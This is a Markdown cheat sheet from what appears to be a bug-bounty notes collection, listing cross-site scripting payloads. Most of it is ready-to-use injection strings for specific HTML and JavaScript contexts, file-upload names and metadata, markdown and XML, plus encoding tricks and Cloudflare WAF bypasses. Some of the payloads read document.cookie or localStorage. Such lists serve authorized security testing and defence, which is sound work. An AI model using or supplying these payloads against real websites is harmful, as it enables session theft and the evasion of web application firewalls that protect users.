AllAboutBugBounty/Cross Site Scripting.md

XSS Cheat Sheet (Basic)

Introduction

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:

• Reflected XSS

  Attack where the malicious script runs from another website through the web browser

• Stored XSS

  Stored attacks are those where the injected script is permanently stored on the target servers

• DOM-Based XSS

  A type of XSS that has payloads found in the DOM rather than within the HTML code.

Where to find

This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.

How to exploit

1. Basic payload

<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>

2. Add ' or " to escape the payload from value of an HTML tag

"><script>alert(1)</script>
'><script>alert(1)</script> 

• Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

• After input the payload

<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>

3. Add --> to escape the payload if input lands in HTML comments.

--><script>alert(1)</script>

• Example source code

<!-- REFLECTED_HERE --> 

• After input the payload

<!-- --><script>alert(1)</script> -->

4. Add when the input inside or between opening/closing tags, tag can be <a>,<title>,<script> and any other HTML tags

</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>

• Example source code

<a href="https://target.com/1?status=REFLECTED_HERE">1</a>

• After input the payload

<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>

5. Use when input inside an attribute’s value of an HTML tag but > is filtered

" onmouseover=alert(1)
" autofocus onfocus=alert(1)

• Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

• After input the payload

<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">

6. Use when input inside <script> tags

</script><script>alert(1)</script>

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var sitekey = '</script><script>alert(1)</script>';
</script>

XSS Cheat Sheet (Advanced)

7. Use when input lands in a script block, inside a string delimited value.

'-alert(1)-'
'/alert(1)//

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var sitekey = ''-alert(1)-'';
</script>

8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.

\'alert(1)//

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• If we input payload '-alert(1)-' it will be like this

<script>
    var sitekey = '\'-alert(1)-\'';
</script>

The quotes are escaped by a backslash so we need to bypass them

• After input the payload

<script>
    var sitekey = '\\'alert(1)//';
</script>

9. Use when there’s multi reflection in the same line of JS code

/alert(1)//\
/alert(1)}//\

• Example source code

<script>
    var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>

10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).

'}alert(1);{'
\'}alert(1);{// 

• Example source code

<script>
    var greeting;
    var time = 1;
    if (time < 10) {
    test = 'REFLECTED_HERE';
  }
</script>

• After input the payload

<script>
    var test;
    var time = 1;
    if (time < 10) {
    test = ''}alert(1);{'';
  }
</script>

Payload number 2 uses when quote escaped by backslash

11. Use when input lands inside backticks delimited strings

${alert(1)}

• Example source code

<script>
    var dapos = `REFLECTED_HERE`;
</script>

• After input the payload

<script>
    var dapos = `${alert(1)}`;
</script>

12. Uses when there is multiple reflections on same page. (Double Reflection)

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

• After input the payload

<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
...
'onload=alert(1)><svg/1='
</body>
</html>

13. Uses when there is multiple reflections on same page. (Triple Reflection)

*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

• After input the payload

<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
</body>
</html>

14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page

"><svg onload=alert(1)>.jpeg

15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)

$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg

16. XSS with SVG file (File Upload)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

17. XSS via markdown

[Click Me](javascript:alert('1'))

18. XSS in XML page

<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>

Add a "-->" to payload if input lands in a comment section

Add a "]]>" if input lands in a CDATA section

XSS Cheat Sheet (Bypass)

19. Mixed Case

<Script>alert(document.cookie)</Script> 

20. Unclosed Tags

<svg onload="alert(1)"

21. Uppercase Payloads

<SVG ONLOAD=ALERT(1)>

22. Encoded XSS

(Encoded)
%3Csvg%20onload%3Dalert(1)%3E 

(Double Encoded)
%253Csvg%2520onload%253Dalert%281%29%253E 

(Triple Encoded)
%25253Csvg%252520onload%25253Dalert%25281%2529%25253E 

23. JS Lowercased Input

<SCRİPT>alert(1)</SCRİPT>

24. PHP Email Validation Bypass

<svg/onload=alert(1)>"@gmail.com

25. PHP URL Validation Bypass

javascript://%250Aalert(1)

26. Inside Comments Bypass

<!--><svg onload=alert(1)-->

Bypass WAF

1. Cloudflare

<svg%0Aonauxclick=0;[1].some(confirm)//

<svg onload=alert%26%230000000040"")>

<a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;>
<svg onx=() onload=(confirm)(1)>

<svg onx=() onload=(confirm)(document.cookie)>

<svg onx=() onload=(confirm)(JSON.stringify(localStorage))>

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

"><onx=[] onmouseover=prompt(1)>

%2sscript%2ualert()%2s/script%2u -xss popup

<svg onload=alert%26%230000000040"1")>

"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))

[1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)

<svg onload=prompt%26%230000000040document.domain)>

<svg onload=prompt%26%23x000000028;document.domain)>

<svg/onrandom=random onload=confirm(1)>

<video onnull=null onmouseover=confirm(1)>

<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>

:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie

<img ignored=() src=x onerror=prompt(1)>

References

• Brute Logic
• Some random twitter posts